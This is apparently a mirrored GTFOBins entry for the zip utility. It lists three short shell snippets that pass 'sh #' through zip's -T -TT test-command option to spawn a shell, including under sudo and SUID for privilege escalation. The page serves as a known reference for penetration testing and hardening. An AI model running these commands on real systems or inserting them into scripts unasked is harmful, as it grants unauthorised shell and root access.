mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 23:38:29 +01:00
19 lines
373 B
Markdown
19 lines
373 B
Markdown
---
|
|
functions:
|
|
execute-interactive:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
zip $TF /etc/hosts -T -TT 'sh #'
|
|
rm $TF
|
|
sudo-enabled:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
sudo zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
suid-limited:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
./zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
---
|